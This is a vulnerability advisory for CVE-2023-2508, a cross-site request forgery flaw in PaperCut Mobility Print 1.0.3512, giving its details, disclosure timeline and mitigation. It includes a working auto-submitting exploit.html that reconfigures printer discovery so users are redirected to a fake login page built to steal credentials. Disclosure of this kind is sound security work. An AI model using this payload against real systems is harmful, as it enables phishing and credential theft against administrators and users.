

Advisories

CSRF in PaperCut Mobility Print leads to sophisticated phishing

5.3

Medium

Discovered by

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

CSRF in PaperCut Mobility Print leads to sophisticated phishing

Code name

Solveig

State

Public

Release date

Sep 20, 2023

Affected product

PaperCut Mobility Print

Affected version(s)

Version 1.0.3512

Vulnerability name

Cross-site request forgery

Vulnerability type

007. Cross-site request forgery

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

CVSS v3.1 base score

5.3

Exploit available

Yes

CVE ID(s)

CVE-2023-2508

Description

The PaperCut Mobility Print version 1.0.3512 application allows an unauthenticated attacker to perform a CSRF attack on an instance administrator to configure the clients host (in the "configure printer discovery" section). This is possible because the application has no protections against CSRF attacks, like Anti-CSRF tokens, header origin validation, samesite cookies, etc.

Vulnerability

This vulnerability occurs because the application has no protections against CSRF attacks, like Anti-CSRF tokens, header origin validation, samesite cookies, etc.

Exploitation

In this scenario an unauthenticated attacker to perform a CSRF attack on an instance administrator to configure the clients host (in the "configure printer discovery" section).

Then, when the administrator wants to share the link to users so that they can configure their credentials, they are actually sending users to a malicious website that pretends to be the PaperCut NG login, with the goal of exfiltrating the credentials.

exploit.html

<!DOCTYPE html>
<html lang="en">
 <head>
 <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/>
 </head>
 <body>
 <form action=http://vulnerable.com:9163/dns-config method=POST enctype=text/plain>
 <input type=hidden name={"mdnsEnabled":false,"searchDomain":"","subnets":[],"currentStep":"","dnsOptionSelected":"","dnsConfigModified":false,"ZoneIndex":0,"AccessibleIP":"","AccessibleHTTPSPort":0,"dnsFreeEnabled":true,"ExternalIPCIDRs":null,"serverAddresses":["192.168.1.8","Retr02332-MacBookPro.local"],"httpsPort":0,"dnsFreeDiscoveryHostname":"localhost:9999/login.html?redirect="," value=x":"x"} />
 </form>
 <script>document.forms[0].submit();</script>
 </body>
</html>

Our security policy

We have reserved the ID CVE-2023-2508 to refer to this issue from now on. Disclosure policy

System Information

Version: PaperCut Mobility Print 1.0.3512
Operating System: MacOS

Mitigation

An updated version of PaperCut Mobility Print is available at the vendor page.

References

Vendor page https://www.papercut.com/
PaperCut Mobility Print server release history https://www.papercut.com/help/manuals/mobility-print/release-history/#mobility-print-server
PaperCut Mobility Print android app release history https://www.papercut.com/help/manuals/mobility-print/release-history/#mobility-print-android-app

Timeline



Vulnerability discovered

May 3, 2023



Vendor Confirmed Vuln.

May 8, 2023



Vulnerability patched

Aug 22, 2023



Vendor contacted

May 3, 2023



Vendor replied

May 3, 2023



Public disclosure

Sep 20, 2023

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